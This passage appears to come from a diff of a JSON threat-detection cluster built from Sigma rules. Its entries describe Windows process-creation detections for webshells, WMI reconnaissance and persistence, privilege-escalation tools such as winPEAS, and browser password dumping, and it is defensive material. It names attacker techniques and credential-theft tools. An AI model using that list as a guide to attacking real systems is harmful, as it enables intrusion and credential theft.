"https://twitter.com/Alh4zr3d/status/1580925761996828672", + "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_set_service_to_hide_services.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1574.011" + ], + "creation_date": "2022/10/17", + "filename": "proc_creation_win_using_set_service_to_hide_services.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Rare intended use of hidden services" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when verclsid.exe is used to run COM object via GUID", + "uuid": "d06be4b9-8045-428b-a567-740a26d9db25", + "value": "Verclsid.exe Runs COM Object", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Verclsid/", + "https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5", + "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_verclsid_runs_com.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2020/10/09", + "filename": "proc_creation_win_verclsid_runs_com.yml", + "author": "Victor Sergeev, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious child process creations of VMware Tools process which may indicate persistence setup", + "uuid": "5687f942-867b-4578-ade7-1e341c46e99a", + "value": "VMToolsd Suspicious Child Process", + "meta": { + "refs": [ + "https://bohops.com/2021/10/08/analyzing-and-detecting-a-vmtools-persistence-technique/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vmtoolsd_susp_child_process.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.t1059" + ], + "creation_date": "2021/10/08", + "filename": "proc_creation_win_vmtoolsd_susp_child_process.yml", + "author": "behops, Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Legitimate use by administrator" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a JAVA process running with remote debugging allowing more than just localhost to connect", + "uuid": "8f88e3f6-2a49-48f5-a5c4-2f7eedf78710", + "value": "Java Running with Remote Debugging", + "meta": { + "refs": [ + "https://dzone.com/articles/remote-debugging-java-applications-with-jdwp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vul_java_remote_debugging.yml" + ], + "tags": [ + "attack.t1203", + "attack.execution" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_vul_java_remote_debugging.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "When configured with suitable command line arguments, w32tm can act as a delay mechanism", + "uuid": "6da2c9f5-7c53-401b-aacb-92c040ce1215", + "value": "Use of W32tm as Timer", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/d0dad62dbcae9c60c519368e82c196a3db577055/atomics/T1124/T1124.md", + "https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_w32tm.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1124" + ], + "creation_date": "2022/09/25", + "filename": "proc_creation_win_w32tm.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) from non default locations as seen with bumblebee activity", + "uuid": "395907ee-96e5-4666-af2e-2ca91688e151", + "value": "Wab Execution From Non Default Location", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime", + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_execution_from_non_default_location.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution" + ], + "creation_date": "2022/08/12", + "filename": "proc_creation_win_wab_execution_from_non_default_location.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects unusual parent or children of the wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) processes as seen being used with bumblebee activity", + "uuid": "63d1ccc0-2a43-4f4b-9289-361b308991ff", + "value": "Wab/Wabmig Unusual Parent Or Child Processes", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime", + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_unusual_parents.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution" + ], + "creation_date": "2022/08/12", + "filename": "proc_creation_win_wab_unusual_parents.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects weak passwords or often abused passwords (seen used by threat actors) via the CLI. An example would be a threat actor creating a new user via the net command and providing the password inline", + "uuid": "91edcfb1-2529-4ac2-9ecc-7617f895c7e4", + "value": "Weak or Abused Passwords In CLI", + "meta": { + "refs": [ + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://www.microsoft.com/en-us/security/blog/2022/10/25/dev-0832-vice-society-opportunistic-ransomware-campaigns-impacting-us-education-sector/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_weak_or_abused_passwords.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution" + ], + "creation_date": "2022/09/14", + "filename": "proc_creation_win_weak_or_abused_passwords.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate usage of the passwords by users via commandline (should be discouraged)", + "Other currently unknown false positives" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of WebBrowserPassView.exe", + "uuid": "d0dae994-26c6-4d2d-83b5-b3c8b79ae513", + "value": "Launch WebBrowserPassView Executable", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1555.003/T1555.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webbrowserpassview.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555.003" + ], + "creation_date": "2022/08/20", + "filename": "proc_creation_win_webbrowserpassview.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects patterns found in process executions cause by China Chopper like tiny (ASPX) webshells", + "uuid": "fa3c117a-bc0d-416e-a31b-0c0e80653efb", + "value": "Chopper Webshell Process Pattern", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_chopper.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003", + "attack.t1018", + "attack.t1033", + "attack.t1087" + ], + "creation_date": "2022/10/01", + "filename": "proc_creation_win_webshell_chopper.yml", + "author": "Florian Roth (rule), MSTI (query)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects certain command line parameters often used during reconnaissance activity via web shells", + "uuid": "bed2a484-9348-4143-8a8a-b801c979301c", + "value": "Webshell Detection With Command Line Keywords", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html", + "https://unit42.paloaltonetworks.com/bumblebee-webshell-xhunt-campaign/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_detection.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003", + "attack.t1018", + "attack.t1033", + "attack.t1087" + ], + "creation_date": "2017/01/01", + "filename": "proc_creation_win_webshell_detection.yml", + "author": "Florian Roth, Jonhnathan Ribeiro, Anton Kutepov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects certain parent child patterns found in cases in which a webshell is used to perform certain credential dumping or exfiltration activities on a compromised system", + "uuid": "4ebc877f-4612-45cb-b3a5-8e3834db36c9", + "value": "Webshell Hacking Activity Patterns", + "meta": { + "refs": [ + "https://youtu.be/7aemGhaE9ds?t=641", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_hacking.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003", + "attack.t1018", + "attack.t1033", + "attack.t1087" + ], + "creation_date": "2022/03/17", + "filename": "proc_creation_win_webshell_hacking.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects processes spawned from web servers (php, tomcat, iis...etc) that perform reconnaissance looking for the existence of popular scripting tools (perl, python, wget) on the system via the help commands", + "uuid": "f64e5c19-879c-4bae-b471-6d84c8339677", + "value": "Webshell Recon Detection Via CommandLine & Processes", + "meta": { + "refs": [ + "https://ragged-lab.blogspot.com/2020/07/webshells-automating-reconnaissance.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_recon_detection.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2020/07/22", + "filename": "proc_creation_win_webshell_recon_detection.yml", + "author": "Cian Heasley, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects web servers that spawn shell processes which could be the result of a successfully placed web shell or another attack", + "uuid": "8202070f-edeb-4d31-a010-a26c72ac5600", + "value": "Shells Spawned by Web Servers", + "meta": { + "refs": [ + "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_spawn.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003", + "attack.t1190" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_webshell_spawn.yml", + "author": "Thomas Patzke, Florian Roth, Zach Stanford @svch0st, Tim Shelton, Nasreddine Bencherchali (update)", + "level": "high", + "falsepositive": [ + "Particular web applications may spawn a shell process legitimately" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the wevtutil utility to perform reconnaissance", + "uuid": "beaa66d6-aa1b-4e3c-80f5-e0145369bfaf", + "value": "Wevtutil Recon", + "meta": { + "refs": [ + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wevtutil_recon.yml" + ], + "tags": [ + "attack.discovery" + ], + "creation_date": "2022/09/09", + "filename": "proc_creation_win_wevtutil_recon.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitmate usage of the utility by administrators to query the event log" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a whoami.exe executed by privileged accounts that are often misused by threat actors", + "uuid": "79ce34ca-af29-4d0e-b832-fc1b377020db", + "value": "Run Whoami as Privileged User", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", + "https://nsudo.m2team.org/en-us/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_as_priv_user.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.discovery", + "attack.t1033" + ], + "creation_date": "2022/01/28", + "filename": "proc_creation_win_whoami_as_priv_user.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a whoami.exe executed by LOCAL SYSTEM. This may be a sign of a successful local privilege escalation.", + "uuid": "80167ada-7a12-41ed-b8e9-aa47195c66a1", + "value": "Run Whoami as SYSTEM", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_as_system.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.discovery", + "attack.t1033" + ], + "creation_date": "2019/10/23", + "filename": "proc_creation_win_whoami_as_system.yml", + "author": "Teymur Kheirkhabarov, Florian Roth", + "level": "high", + "falsepositive": [ + "Possible name overlap with NT AUHTORITY substring to cover all languages" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a whoami.exe executed with the /priv command line flag instructing the tool to show all current user privieleges. This is often used after a privilege escalation attempt.", + "uuid": "97a80ec7-0e2f-4d05-9ef4-65760e634f6b", + "value": "Run Whoami Showing Privileges", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/whoami", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_priv.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.discovery", + "attack.t1033" + ], + "creation_date": "2021/05/05", + "filename": "proc_creation_win_whoami_priv.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Administrative activity (rare lookups on current privileges)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Task Scheduler .job import arbitrary DACL write\\par", + "uuid": "931b6802-d6a6-4267-9ffa-526f57f22aaf", + "value": "Windows 10 Scheduled Task SandboxEscaper 0-day", + "meta": { + "refs": [ + "https://github.com/SandboxEscaper/polarbearrepo/tree/master/bearlpe", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_win10_sched_task_0day.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1053.005", + "car.2013-08-001" + ], + "creation_date": "2019/05/22", + "filename": "proc_creation_win_win10_sched_task_0day.yml", + "author": "Olaf Hartong", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious children spawned via the Windows Terminal application which could be a sign of persistence via WindowsTerminal (see references section)", + "uuid": "8de89e52-f6e1-4b5b-afd1-41ecfa300d48", + "value": "Suspicious WindowsTerminal Child Processes", + "meta": { + "refs": [ + "https://persistence-info.github.io/Data/windowsterminalprofile.html", + "https://twitter.com/nas_bench/status/1550836225652686848", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_windows_terminal_susp_children.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence" + ], + "creation_date": "2022/07/25", + "filename": "proc_creation_win_windows_terminal_susp_children.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Other legitimate \"Windows Terminal\" profiles" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on book.hacktricks.xyz", + "uuid": "98b53e78-ebaf-46f8-be06-421aafd176d9", + "value": "Detect Execution of winPEAS", + "meta": { + "refs": [ + "https://github.com/carlospolop/PEASS-ng", + "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winpeas_tool.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1082", + "attack.t1087", + "attack.t1046" + ], + "creation_date": "2022/09/19", + "filename": "proc_creation_win_winpeas_tool.yml", + "author": "Georg Lauenstein", + "level": "high", + "falsepositive": [ + "Other programs that use the same command line flags" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the Installation of a Exchange Transport Agent", + "uuid": "83809e84-4475-4b69-bc3e-4aad8568612f", + "value": "MSExchange Transport Agent Installation", + "meta": { + "refs": [ + "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_win_exchange_transportagent.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.002" + ], + "creation_date": "2021/06/08", + "filename": "proc_creation_win_win_exchange_transportagent.yml", + "author": "Tobias Michalski", + "level": "medium", + "falsepositive": [ + "Legitimate installations of exchange TransportAgents. AssemblyPath is a good indicator for this." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of wmic utility with the \"computersystem\" flag in order to obtain information about the machine such as the domain, username, model...etc.", + "uuid": "9d7ca793-f6bd-471c-8d0f-11e68b2f0d2f", + "value": "Suspicious Get Local Groups Information with WMIC", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_computersystem_recon.yml" + ], + "tags": [ + "attack.discovery", + "attack.execution", + "attack.t1047" + ], + "creation_date": "2022/09/08", + "filename": "proc_creation_win_wmic_computersystem_recon.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n", + "uuid": "164eda96-11b2-430b-85ff-6a265c15bf32", + "value": "Suspicious Get Local Groups Information with WMIC", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_group_recon.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ], + "creation_date": "2021/12/12", + "filename": "proc_creation_win_wmic_group_recon.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects wmic known recon method to look for installed hotfixes, often used by pentest and attackers enum scripts", + "uuid": "dfd2fcb7-8bd5-4daa-b132-5adb61d6ad45", + "value": "WMIC Hotfix Recon", + "meta": { + "refs": [ + "https://github.com/carlospolop/PEASS-ng/blob/fa0f2e17fbc1d86f1fd66338a40e665e7182501d/winPEAS/winPEASbat/winPEAS.bat", + "https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_hotfix_enum.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2022/06/20", + "filename": "proc_creation_win_wmic_hotfix_enum.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary might use WMI to list Processes running on the compromised host or list installed Software hotfix and patches.", + "uuid": "221b251a-357a-49a9-920a-271802777cc0", + "value": "Suspicious WMI Reconnaissance", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_reconnaissance.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2022/01/01", + "filename": "proc_creation_win_wmic_reconnaissance.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary might use WMI to execute commands on a remote system", + "uuid": "e42af9df-d90b-4306-b7fb-05c863847ebd", + "value": "WMI Remote Command Execution", + "meta": { + "refs": [ + "https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_remote_command.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2022/03/13", + "filename": "proc_creation_win_wmic_remote_command.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary might use WMI to check if a certain Remote Service is running on a remote device.\nWhen the test completes, a service information will be displayed on the screen if it exists.\nA common feedback message is that \"No instance(s) Available\" if the service queried is not running.\nA common error message is \"Node - (provided IP or default) ERROR Description =The RPC server is unavailable\" if the provided remote host is unreachable\n", + "uuid": "09af397b-c5eb-4811-b2bb-08b3de464ebf", + "value": "WMI Reconnaissance List Remote Services", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_remote_service.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2022/01/01", + "filename": "proc_creation_win_wmic_remote_service.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Uninstall an application with wmic", + "uuid": "b53317a0-8acf-4fd1-8de8-a5401e776b96", + "value": "WMI Uninstall An Application", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md#atomic-test-10---application-uninstall-using-wmic", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_remove_application.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2022/01/28", + "filename": "proc_creation_win_wmic_remove_application.yml", + "author": "frac113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of wmic to start or stop a service", + "uuid": "0b7163dc-7eee-4960-af17-c0cd517f92da", + "value": "WMIC Service Start/Stop", + "meta": { + "refs": [ + "https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_service.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2022/06/20", + "filename": "proc_creation_win_wmic_service.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects wmic known recon method to look for unquoted service paths, often used by pentest and attackers enum scripts", + "uuid": "68bcd73b-37ef-49cb-95fc-edc809730be6", + "value": "WMIC Unquoted Services Path Lookup", + "meta": { + "refs": [ + "https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py", + "https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1", + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_unquoted_service_search.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2022/06/20", + "filename": "proc_creation_win_wmic_unquoted_service_search.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects wmiprvse spawning processes", + "uuid": "d21374ff-f574-44a7-9998-4a8c8bf33d7d", + "value": "Wmiprvse Spawning Process", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190810201010.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmiprvse_spawning_process.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2019/08/15", + "filename": "proc_creation_win_wmiprvse_spawning_process.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a WMI backdoor in Exchange Transport Agents via WMI event filters", + "uuid": "797011dc-44f4-4e6f-9f10-a8ceefbe566b", + "value": "WMI Backdoor Exchange Transport Agent", + "meta": { + "refs": [ + "https://twitter.com/cglyer/status/1182389676876980224", + "https://twitter.com/cglyer/status/1182391019633029120", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmi_backdoor_exchange_transport_agent.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.003" + ], + "creation_date": "2019/10/11", + "filename": "proc_creation_win_wmi_backdoor_exchange_transport_agent.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects WMI script event consumers", + "uuid": "ec1d5e28-8f3b-4188-a6f8-6e8df81dc28e", + "value": "WMI Persistence - Script Event Consumer", + "meta": { + "refs": [ + "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmi_persistence_script_event_consumer.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.003" + ], + "creation_date": "2018/03/07", + "filename": "proc_creation_win_wmi_persistence_script_event_consumer.yml", + "author": "Thomas Patzke", + "level": "medium", + "falsepositive": [ + "Legitimate event consumers", + "Dell computers on some versions register an event consumer that is known to cause false positives when brightness is changed by the corresponding keyboard button" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects WMI spawning a PowerShell process", + "uuid": "692f0bec-83ba-4d04-af7e-e884a96059b6", + "value": "WMI Spawning Windows PowerShell", + "meta": { + "refs": [ + "https://any.run/report/68bc255f9b0db6a0d30a8f2dadfbee3256acfe12497bf93943bc1eab0735e45e/a2385d6f-34f7-403c-90d3-b1f9d2a90a5e", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmi_spwns_powershell.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "attack.t1059.001" + ], + "creation_date": "2019/04/03", + "filename": "proc_creation_win_wmi_spwns_powershell.yml", + "author": "Markus Neis / @Karneades", + "level": "high", + "falsepositive": [ + "AppvClient", + "CCM" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects invocation of Microsoft Workflow Compiler, which may permit the execution of arbitrary unsigned code.", + "uuid": "419dbf2b-8a9b-4bea-bf99-7544b050ec8d", + "value": "Microsoft Workflow Compiler", + "meta": { + "refs": [ + "https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_workflow_compiler.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1127", + "attack.t1218" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_workflow_compiler.yml", + "author": "Nik Seetharaman, frack113", + "level": "high", + "falsepositive": [ + "Legitimate MWC use (unlikely in modern enterprise environments)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of the binary \"wpbbin\" which is used as part of the UEFI based persistence method described in the reference section", + "uuid": "4abc0ec4-db5a-412f-9632-26659cddf145", + "value": "UEFI Persistence Via Wpbbin - ProcessCreation", + "meta": { + "refs": [ + "https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c", + "https://persistence-info.github.io/Data/wpbbin.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wpbbin_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.t1542.001" + ], + "creation_date": "2022/07/18", + "filename": "proc_creation_win_wpbbin_persistence.yml", + "author": 